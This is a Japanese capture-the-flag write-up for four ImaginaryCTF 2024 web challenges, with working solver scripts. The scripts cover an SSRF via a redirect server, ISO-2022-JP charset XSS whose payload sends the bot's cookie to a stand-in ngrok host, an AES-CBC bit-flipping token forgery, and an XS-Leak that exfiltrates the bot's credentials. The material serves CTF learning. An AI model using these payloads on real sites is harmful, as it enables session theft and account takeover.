Imaginary CTF 2024 web writeup (follow up)
解けなかった問題反省コーナー
readme 2
問題
const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}'
Bun.serve({
async fetch(req) {
const url = new URL(req.url)
if (url.pathname === '/') return new Response('Hello, World!')
if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
return new Response(`404 Not Found: ${url.pathname}`, { status: 404 })
},
port: 3000
})
Bun.serve({
async fetch(req) {
if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
if (headerContainsFlag) return new Response('Nope', { status: 403 })
try {
const url = new URL(req.url)
if (url.href.includes('flag')) return new Response('Nope', { status: 403 })
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})
} catch (e) {
return new Response(e, { status: 500})
}
},
port: 4000 // only this port are exposed to the public
})
リクエストを送ると、URLをパースして、localhost:3000
に同じ内容を送る。そのサーバーでのURLのパスが/flag.txt
から始まればクリアできる。ただし、URLかHeaderにflag
の文字が含まれていると弾かれてしまう
方針としては以下のどちらか
- headerにもURLにも
flag
と連続していないが、最終的にリクエストが送られる際にflag.txt
として解釈されるようなリクエストを送る - 送られる先のサーバーを自分が用意したものにして、
localhost:3000
にリダイレクトする
別サーバーに送ることができることには気づいていたが、なぜかリダイレクトの発想に至らなかった。
GET //foobar.com HTTP/1.1
と送ると、new URL("//foobar.com", "http:localhost:3000")
となるが、これのhrefはhttp://foobar.com
と解釈される。それを利用すると、以下のようにフラグがとれる
from pwn import *
# HOST, PORT = "readme2.chal.imaginaryctf.org", 80
HOST, PORT = "localhost", 4000
EVIL_HOST = "xxx.ngrok.app"
EVIL = f"https://{EVIL_HOST}"
io = remote(HOST, PORT)
v = (
f"GET //{EVIL_HOST} HTTP/1.1\r\n"
f"Host: {EVIL_HOST} \r\n"
"\r\n"
)
io.send(v.encode())
io.recvuntil(b"\r\n\r\n")
r = io.recvuntil(b"}")
print(r)
from http.server import HTTPServer, SimpleHTTPRequestHandler
class RedirectHandler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://localhost:3000/flag.txt')
self.end_headers()
def run(server_class=HTTPServer, handler_class=RedirectHandler, addr="localhost", port=9911):
server_address = (addr, port)
httpd = server_class(server_address, handler_class)
print(f"Starting HTTP server on {addr}:{port}")
httpd.serve_forever()
if __name__ == "__main__":
run()
別解1 URLのキモ挙動
x:foobar
とすると、foobar
をpathnameとして解釈する上に、前に/
が付かないという仕様を利用する。
from pwn import *
# HOST, PORT = "readme2.chal.imaginaryctf.org", 80
HOST, PORT = "localhost", 4000
EVIL_HOST = "xxx.ngrok.app"
EVIL = f"https://{EVIL_HOST}"
io = remote(HOST, PORT)
v = (
f"GET x:{EVIL} HTTP/1.1\r\n"
f"Host: {EVIL_HOST} \r\n"
"\r\n"
)
io.send(v.encode())
io.recvuntil(b"\r\n\r\n")
r = io.recvuntil(b"}")
print(r)
別解2 Bunが不正なHostを弾かないことを利用する
from pwn import *
import string
# HOST, PORT = "readme2.chal.imaginaryctf.org", 80
HOST, PORT = "localhost", 4000
HOST_URL = f"http://{HOST}:{PORT}"
io = remote(HOST, PORT)
v = (
f"GET /.. HTTP/1.1\r\n"
f"Host: localhost:3000/fl\tag.txt \r\n"
"\r\n"
)
io.send(v.encode())
io.recvuntil(b"\r\n\r\n")
r = io.recvuntil(b"}")
print(r)
Forms
クリア率の割に簡単だったので拍子抜けしました。脆弱性についてはこの記事の通りです。
問題
ユーザーはフォームを作成できる。フォームはタイトルと質問のリストからなり、質問を回答必須にすることができる
@app.route('/form/create', methods=['GET', 'POST'])
@login_required
def create_form():
if request.method == 'GET':
return render_template('create_form.html')
try:
title = request.form.get('title')
questions = json.loads(request.form.get('questions', ''))
except:
title = None
questions = None
if title is None or type(questions) is not list or any(type(q) is not list or len(q) != 2 or type(q[0]) is not str or type(q[1]) is not bool for q in questions):
return fail('create_form.html', 'Invalid request')
if len(questions) == 0:
return fail('create_form.html', 'Your form must consist of at least one question')
form = Form(author=current_user, title=title)
questions = [FormQuestion(form=form, number=i, content=q[0], required=q[1]) for i, q in enumerate(questions)]
db.session.add(form)
db.session.add_all(questions)
db.session.commit()
flash(f'Form with id {form.id} created', 'info')
return render_template('create_form.html')
フォームを入力すると、回答必須の質問が回答されていたかチェックされ、されていなかった場合はエラー画面を表示する。
@app.route('/form/fill/<formid>', methods=['GET', 'POST'])
def fill_form(formid):
try:
formid = str(UUID(formid))
form = Form.query.filter(Form.id == formid).first()
except ValueError:
form = None
if form is None:
return fail('index.html', 'Invalid form id')
if request.method == 'GET':
return render_template('fill_form.html', form=form, answers={})
required_questions = [f'q_{q.number:02}' for q in form.questions if q.required]
answers = {f'q_{i:02}': request.form.get(f'q_{i:02}', '') for i in range(len(form.questions))}
for q in required_questions:
i = int(q[2:])
if len(answers[q]) == 0:
return fail('fill_form.html', f'The following question is required: {form.questions[i].content}', {'form': form, 'answers': answers})
# TODO: save the answers
return render_template('thank_you.html')
""" snip """
def fail(template, message, context={}):
flash(message, 'error')
resp = Response(render_template(template, **context))
resp.status_code = 400
resp.content_type = 'text/html'
return resp
<!DOCTYPE html>
<html>
<head>
<title>{% block title %}{% endblock %}</title>
<link href="/static/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<!-- snip -->
<div class="container py-3">
{% block content %}{% endblock %}
</div>
<script>
const messages = [
{% with messages = get_flashed_messages(with_categories=True) %}
{% for category, message in messages %}
{category: '{{ category }}', message: {{ message | tojson }} },
{% endfor %}
{% endwith %}
];
/* snip */
</script>
<script src="/static/bootstrap.bundle.min.js"></script>
</body>
</html>
{% extends "base.html" %}
{% block title %}{{ form.title }}{% endblock %}
{% block content %}
<h3>{{ form.title }} by {{ form.author.username }}</h3>
{% for q in form.questions %}
{% set name = 'q_' + (loop.index0 | string()).zfill(2) %}
<div class="mb-3">
<label class="form-text" for="{{ name }}">{{ loop.index }}. {{ q.content }}</label> <input type="text" class="question form-control" name="{{ name }}" value="{{ answers.get(name, '') }}" />
</div>
{% endfor %}
<button class="btn btn-primary rounded-3" name="submit" onclick="submitAnswers()">Submit your answers</button>
<script>
/* snip */
</script>
{% endblock %}
Botに質問に答えさせることができる。その際に、どの質問に答えるかを指定できる
@app.post('/form/ask/<formid>')
@login_required
def ask_admin(formid):
try:
formid = str(UUID(formid))
form = Form.query.filter(Form.id == formid).first()
except ValueError:
return fail('index.html', 'Invalid form id')
questions_to_fill = [f'q_{i:02}' for i in range(len(form.questions)) if request.form.get(f'q_{i:02}', False)]
Thread(target=visit, args=(formid, questions_to_fill)).start()
return render_template('admin_confirmation.html')
def visit(id, questions_to_fill):
print(f'Visiting {id}')
options = FirefoxOptions()
options.add_argument('--headless')
browser = Firefox(options=options)
browser.set_page_load_timeout(10)
try:
browser.get(BASE_URL)
browser.add_cookie({'name': 'flag', 'value': 'jctf{red_flags_and_fake_flags_form_an_equivalence_class}'})
browser.get(f'{BASE_URL}/form/fill/{id}')
for q in questions_to_fill:
question = browser.find_element(By.NAME, q)
question.send_keys(token_hex(8))
button = browser.find_element(By.NAME, 'submit')
button.click()
time.sleep(10)
finally:
browser.quit()
このときBotのcookieにフラグが含まれている。
注目すべきは次の点
- 回答必須の質問に答えさせないことによって、Botにエラー画面を開かせることができる。
- 通常のページはflaskによって
Content-Type: text/html; charset=utf-8
のヘッダーが付与されるが、エラーページはContent-Type: text/html
となっており、charsetが指定されていないことがわかる。 - したがって、ISO-2022-JPを利用したXSSが利用可能。
- ちなみに、解説記事にはChromeもFirefoxも利用できると書いてあるが、とりあえず試してみたところFirefoxでしかできなかった[1]。もう修正されたのか、あるいはChromeは異なる方式のcharsetの推論を行っているのか。BotがChromiumベースのpuppeteerではなくFirefoxベースのseleniumになっているのもこれが理由
タイトルでJIS X 0201 1976モードにすることによって以下の箇所のエスケープを失敗させることができる。
{category: '{{ category }}', message: {{ message | tojson }} }
たとえば、質問が"foobar"
ならば通常
[
{category: 'error', message: "The following question is required:\"foobar\"" },
]
となるが、ISO-2022-JPでは
[
{category: 'error', message: "The following question is required:¥"foobar¥"" },
]
となり、エスケープに失敗する。ここで、質問を"}];alert(1);[//"
にすることで、
[
{category: 'error', message: "The following question is required:¥"}];alert(1);[//¥"" },
]
となり、XSSを行うことが可能
以下回答
import json
import requests
import re
from Crypto.Util.number import long_to_bytes
URL = "http://localhost:5000/"
EVIL = "https://xxx.ngrok.app/"
s = requests.session()
data = {
"username": "user",
"password": "password"
}
r = s.post(URL + "register", data=data)
r = s.post(URL + "login", data=data)
SWITCH_JIS = "\x1b(J"
XSS_payload = f"\"}}];document.location.assign(`{EVIL}?v=${{document.cookie}}`);[//"
r = s.post(URL + "form/create", data={
"title": SWITCH_JIS,
"questions": json.dumps([[XSS_payload,True]])
})
form_id = re.findall("Form with id ([^\s]+) created", r.text)[0]
r = s.post(URL + f"form/ask/{form_id}")
notactf
問題
/admin
にGETするとauthtokenが得られる。また、有効でユーザー名がadmin
であるauthtokenを/admin
にPOSTするとフラグが書かれたchallenge.txt
を読み取ることができる。admin以外は/admin
のGETができないが、POSTの方はauthtokenのみをチェックする。
#admin panel
@app.route('/admin')
@flask_login.login_required
def admin():
if flask_login.current_user.id != "admin":
return "UNAUTHORIZED"
elif flask_login.current_user.id == "admin":
signed_id = hashlib.md5(flask_login.current_user.id.encode()).hexdigest() + flask_login.current_user.id
authtoken = aes256.encrypt(signed_id, str(aeskey))
authtoken = str(authtoken)
authtoken = authtoken[:-1]
authtoken = authtoken[2:]
authtoken = xorCrypt(str(authtoken), 938123)
authtoken = str(authtoken)
authtoken = authtoken.encode("utf-8").hex()
challconf = open("challenges.txt", "r")
challconf = challconf.read()
challconf = str(challconf)
return render_template('admin.html', username=flask_login.current_user.id, authtoken=authtoken, challconf=challconf)
@app.route('/admin', methods=['POST'])
def admin_SS():
user_auth = request.headers.get('user-auth-token')
user_auth = bytes(user_auth, 'utf-8')
user_auth=binascii.unhexlify(user_auth)
user_auth = str(user_auth, "utf-8")
user_auth = xorCrypt(str(user_auth), 938123)
user = aes256.decrypt(user_auth, str(aeskey))
user = user[32:].decode()
#List of users
users = []
alluserobj = []
if user != str(adminusername):
return "UNAUTHORIZED"
elif user == str(adminusername):
action = request.headers.get('action')
if action == "get-challenges":
challconf = open("challenges.txt", "r")
challconf = challconf.read()
return str(challconf)
また、/challenges
にアクセスすると、同様の手順で生成されたauthtokenが手に入れられる。
@app.route('/challenges')
def challenges():
signed_id = hashlib.md5(flask_login.current_user.id.encode()).hexdigest() + flask_login.current_user.id
authtoken = aes256.encrypt(signed_id, str(aeskey))
authtoken = str(authtoken)
authtoken = authtoken[:-1]
authtoken = authtoken[2:]
authtoken = xorCrypt(str(authtoken), 938123)
authtoken = str(authtoken)
authtoken = authtoken.encode("utf-8").hex()
challs = open("challenges.txt", "r")
challs = challs.read()
challs = ast.literal_eval(challs)
AESで暗号化される前のsigned_id
は次のような構成になっている
signed_id = hashlib.md5(flask_login.current_user.id.encode()).hexdigest() + flask_login.current_user.id
しかし、/admin
のチェックでは、md5の部分を完全に無視している
user = user[32:].decode()
""" snip """
if user != str(adminusername):
""" snip """
また、AESはAesEverywhereを利用しており、OpenSSL互換のAES-256-CBCによる暗号化がなされている。
このように、CBCモードでデータの一部を自由に変えられる場合、CBC Bit-flipping Attackを利用することができる。
AES-256-CBCの結果は、次のバイト列をbase64で暗号化したものである
Salted__<saltの値(8バイト)><メッセージ(16nバイト)>
したがって、以下のように暗号化されたメッセージを抽出できる
r = s.get(URL + "challenges")
# app.pyからコピー
user_auth = bytes(re.findall(r"'user-auth-token', \"(.+)\"", r.text)[0], 'utf-8')
user_auth = binascii.unhexlify(user_auth)
user_auth = str(user_auth, "utf-8")
user_auth = xorCrypt(str(user_auth), 938123)
token = b64decode(user_auth)
encrypted = token[16:]
興味があるのは最後のブロックだけなので、その前のブロックに変更前の平文と変更後の平文をXORしたものを、その暗号化されたブロックにXORしたい。
ここで、最後のブロックはPKCS#7パディングされていることを踏まえて、パディングをしてからXORすることに注意する。
以下回答
import binascii
import requests
import re
from xorCryptPy import xorCrypt
from base64 import b64decode, b64encode
from pwn import xor
# URL = "http://notactf.chal.imaginaryctf.org/"
URL = "http://localhost:8080/"
USER = "tchensan"
BLOCK_SIZE = 16
def _add_padding(msg):
pad_len = BLOCK_SIZE - (len(msg) % BLOCK_SIZE)
padding = bytes([pad_len]) * pad_len
return msg + padding
s = requests.session()
userdata = {
"username": USER,
"password": "pass"
}
r = s.post(URL + "register", data=userdata)
r = s.post(URL + "login", data=userdata)
r = s.get(URL + "challenges")
# app.pyからコピー
user_auth = bytes(re.findall(r"'user-auth-token', \"(.+)\"", r.text)[0], 'utf-8')
user_auth = binascii.unhexlify(user_auth)
user_auth = str(user_auth, "utf-8")
user_auth = xorCrypt(str(user_auth), 938123)
token = b64decode(user_auth)
encrypted = token[16:]
target_original = USER.encode()
target_modified = b'admin'
xored = xor(_add_padding(target_original), _add_padding(target_modified))
modified = xor(encrypted, b"\x00" * BLOCK_SIZE + xored + b"\x00" * BLOCK_SIZE)
result = b64encode(token[:16] + modified)
# app.pyからコピー
authtoken = str(result)
authtoken = authtoken[:-1]
authtoken = authtoken[2:]
authtoken = xorCrypt(str(authtoken), 938123)
authtoken = str(authtoken)
authtoken = authtoken.encode("utf-8").hex()
r = s.post(URL + "admin", headers={
"user-auth-token": authtoken,
"action": "get-challenges"
})
print(r.text)
heapnotes
問題
/create
でノートを作成できる。key
を設定することで、閲覧するときにXor暗号をかけることができる。
@app.route('/create', methods=['GET', 'POST'])
@login_required
def create_note():
if request.method == 'POST':
key = os.urandom(16).hex()
if "key" in request.form:
key = request.form["key"]
note_id = ''.join(random.choices(string.ascii_letters, k=32))
content = request.form["content"]
new_note = Note(note_id=note_id, user_id=current_user.username, content=content, key=key)
db.session.add(new_note)
db.session.commit()
return note_id
return render_template('create.html')
作成したノートにはIDが付与され、/note/<note_id>
で閲覧することができる。これは、ユーザー名と内容をzlibで圧縮し、/render/<data>/<key>
にリダイレクトすることによって行われる
@app.route('/note/<note_id>')
@login_required
def view_note(note_id):
note = Note.query.filter_by(note_id=note_id).first()
key = note.key
data = encrypt(zlib.compress(json.dumps({"username": current_user.username, "content": note.content}).encode()), bytes.fromhex(key)).hex()
print(len(data))
return redirect(url_for('render_note', data=data, key=key))
@app.route('/render/<data>/<key>')
@login_required
def render_note(data, key):
if not data:
return 'Invalid note', 404
try:
data = json.loads(zlib.decompress(encrypt(bytes.fromhex(data), bytes.fromhex(key))).decode())
except:
data = {"username": current_user.username, "content": "Error"}
return render_template('note.html', note=data)
CookieはSamesiteが"none"なので、埋め込みによってPOSTを行うことが可能
app.config["SESSION_COOKIE_SAMESITE"] = "None"
app.config["SESSION_COOKIE_SECURE"] = True
BotにURLを送ると、問題のサイトにログインした後、URLの場所にアクセスする。このBotのユーザー名とパスワードがフラグ。
await page.goto('https://heapnotes.chal.imaginaryctf.org/login');
await page.getByLabel('username').fill(FLAG);
await page.getByLabel('password').fill(FLAG);
await page.getByRole('button').dispatchEvent('click');
await page.waitForNavigation();
await page.goto(url);
setTimeout(() => {
try {
page.close();
socket.write('timeout\n');
socket.destroy();
} catch (err) {
console.log(`err: ${err}`);
}
}, 10000);
Cookieの設定からXS-Leaksが怪しいので、ユーザー名かパスワードがどのように使われているか見ると、基本的にはどこにも描画されていない。したがって、CSSやらスクロールやらで描画されている内容をリークさせるような問題ではなさそう。
ここで、note/<note_id>
にアクセスすると、ユーザー名の情報とともにzlibで圧縮された内容で/render/<data>/<key>
にリダイレクトされることに注目する。{"username": username, "content": note.content}
のusername
とnote.content
に共通部分が多ければ多いほど圧縮効率がよくなるので、URLの長さによってXS-Leaksできそう。以下のように実験してみる。
import json
import string
import zlib
import warnings
def encrypt(pt, key):
ct = []
for i in range(len(pt)):
ct.append(pt[i] ^ key[i % len(key)])
return bytes(ct)
for c in string.ascii_lowercase:
res = encrypt(zlib.compress(json.dumps({"username": "ictf{fake_flag}", "content": "ictf{" + c}).encode()), bytes.fromhex("00")).hex()
print(c, len(res))
結果
a 106
b 106
c 106
d 106
e 106
f 104
g 106
...
URLの内容や長さは直接見ることはできないが、key
の大きさを好きなように調整できるので、username
とnote.content
の共通部分が多い時だけ正常にリクエストでき、共通部分が少ない時はURLが長すぎてエラーになるようにしたい。
ここで、keyの長さをとりあえずとても大きくしてみると
requests.exceptions.ConnectionError: ('Connection aborted.', LineTooLong('got more than 65536 bytes when reading header line'))
というエラーが返ってくる。したがって、ヘッダーの大きさが65536ピッタリになるように、keyの長さを調整したい。botがどのようなヘッダーを使うかわからないので、手元のブラウザで大体の目星をつけた後、次のようなサーバーを実装する。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>
// const MAIN = "https://127.0.0.1/";
const MAIN = "https://app/";
const EVIL = "https://xxx.ngrok.app/";
const ASCII = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}@:';
const MAX_URL_LENGTH = 65536;
const INIT_KEYLEN = MAX_URL_LENGTH - 150; // 大体の目星
window.iframes = [];
function init() {
for(let i = 0; i < ASCII.length; i++) {
const iframe = document.createElement("object");
document.body.appendChild(iframe);
iframes.push(iframe);
}
}
async function createIframe(str, len ,i) {
const iframe = iframes[i];
const noteid = await (await fetch(`${EVIL}create?v=${str}&l=${len}`)).text();
iframe.data = MAIN + "note/" + noteid;
return iframe
}
window.addEventListener("load", async () => {
init();
let promises = [];
for(let i = 0; i < ASCII.length; i++) {
const current = INIT_KEYLEN + 2 * i;
await createIframe("ictf{", current, i);
promises.push(new Promise((res) => {
iframes[i].onload = () => {
res(current)
}
iframes[i].onerror = () => {
res(-1)
}
}));
}
const res = Math.max(...(await Promise.all(promises)));
fetch(`${EVIL}log?keylen=${res}`)
})
</script>
</head>
<body>
</body>
</html>
from http.server import HTTPServer, SimpleHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import requests
import warnings
from pwn import *
warnings.simplefilter('ignore')
URL = "https://127.0.0.1/"
EVIL = "https://xxx.ngrok.app/"
USER = "USERNAME"
s = None
class Handler(SimpleHTTPRequestHandler):
global s
def do_GET(self):
url = urlparse(self.path)
qs = parse_qs(url.query)
if url.path == "/create":
val = qs.get("v")[0]
l = qs.get("l")[0]
r = s.post(URL + '/create', data={
"content": val,
"key": "0" * int(l)
}, verify=False)
self.send_response(200)
self.end_headers()
self.wfile.write(r.content)
return
elif url.path == "/log":
self.send_response(200)
self.end_headers()
return
super().do_GET()
def run(server_class=HTTPServer, handler_class=Handler, addr="localhost", port=9911):
global s
server_address = (addr, port)
httpd = server_class(server_address, handler_class)
s = requests.session()
user = {
"username": USER,
"password": "pass"
}
s.post(URL + "register", data=user, verify=False)
s.post(URL + "login", data=user,verify=False)
print(f"Starting HTTP server on {addr}:{port}")
httpd.serve_forever()
if __name__ == "__main__":
run()
結果
GET /log?keylen=65408 HTTP/1.1
あとは、現在判明している文字列known
と、利用するkey
の長さをうけとり、known
に1文字追加してチェックを行い、一つだけ成功したら成功した文字列をknown
に上書きし、全て成功か失敗した場合はkey
の長さを調整するようなHTMLを作成した。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>
// const MAIN = "https://127.0.0.1/";
const MAIN = "https://app/";
const EVIL = "https://xxx.ngrok.app/";
const ASCII = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}@:';
window.iframes = [];
function init() {
for(let i = 0; i < ASCII.length; i++) {
const iframe = document.createElement("object");
document.body.appendChild(iframe);
iframes.push(iframe);
}
}
async function createIframe(str, len ,i) {
const iframe = iframes[i];
const noteid = await (await fetch(`${EVIL}create?v=${str}&l=${len}`)).text();
iframe.data = MAIN + "note/" + noteid;
return iframe
}
window.addEventListener("load", async () => {
const qs = new URLSearchParams(document.location.search)
init();
let keylen = qs.get("keylen");
let known = qs.get("known");
let promises = [];
for(let i = 0; i < ASCII.length; i++) {
const current = known + ASCII[i];
await createIframe(current, keylen, i);
promises.push(new Promise((res) => {
iframes[i].onload = () => {
res(current)
}
iframes[i].onerror = () => {
res("")
}
}));
}
const res = (await Promise.all(promises)).filter(v => v.length > 0);
if(res.length == 1) {
if(res[0].slice(-1) == "}"){
fetch(`${EVIL}log?flag=${res[0]}`)
} else {
fetch(`${EVIL}continue?known=${res[0]}&keylen=${keylen}`)
}
} else if(res.length == 0) {
fetch(`${EVIL}continue?known=${known}&keylen=${keylen-2}`)
} else {
fetch(`${EVIL}continue?known=${known}&keylen=${keylen+2}`)
}
})
</script>
</head>
<body>
</body>
</html>
continue
は自動的に再度Botに問い合わせを行う。
追記したバージョン
from http.server import HTTPServer, SimpleHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import requests
import warnings
from pwn import *
warnings.simplefilter('ignore')
URL = "https://127.0.0.1/"
EVIL = "https://xxx.ngrok.app/"
USER = "USERNAME"
BOT_HOST, BOT_PORT = ("localhost", 1338)
s = None
def send_bot(arg):
io = remote(BOT_HOST, BOT_PORT)
io.recvuntil(":")
io.sendline(EVIL + "?" + arg)
io.close()
class Handler(SimpleHTTPRequestHandler):
global s
def do_GET(self):
url = urlparse(self.path)
qs = parse_qs(url.query)
if url.path == "/create":
val = qs.get("v")[0]
l = qs.get("l")[0]
r = s.post(URL + '/create', data={
"content": val,
"key": "0" * int(l)
}, verify=False)
self.send_response(200)
self.end_headers()
self.wfile.write(r.content)
return
elif url.path == "/log":
self.send_response(200)
self.end_headers()
return
elif url.path == "/continue":
send_bot(url.query)
self.send_response(200)
self.end_headers()
return
super().do_GET()
def run(server_class=HTTPServer, handler_class=Handler, addr="localhost", port=9911):
global s
server_address = (addr, port)
httpd = server_class(server_address, handler_class)
s = requests.session()
user = {
"username": USER,
"password": "pass"
}
s.post(URL + "register", data=user, verify=False)
s.post(URL + "login", data=user,verify=False)
print(f"Starting HTTP server on {addr}:{port}")
httpd.serve_forever()
if __name__ == "__main__":
run()
https://xxx.ngrok.app/continue?known=ictf{&keylen=65408
にGETリクエストを行うと、フラグが手に入れられる。
-
Chromeでもcharsetの推論をさせることができることはあるが、アルゴリズムが違うためうまくいかないパターンがあるみたいです。Satoki CTF - Chahanはchromiumでした。 ↩︎
Discussion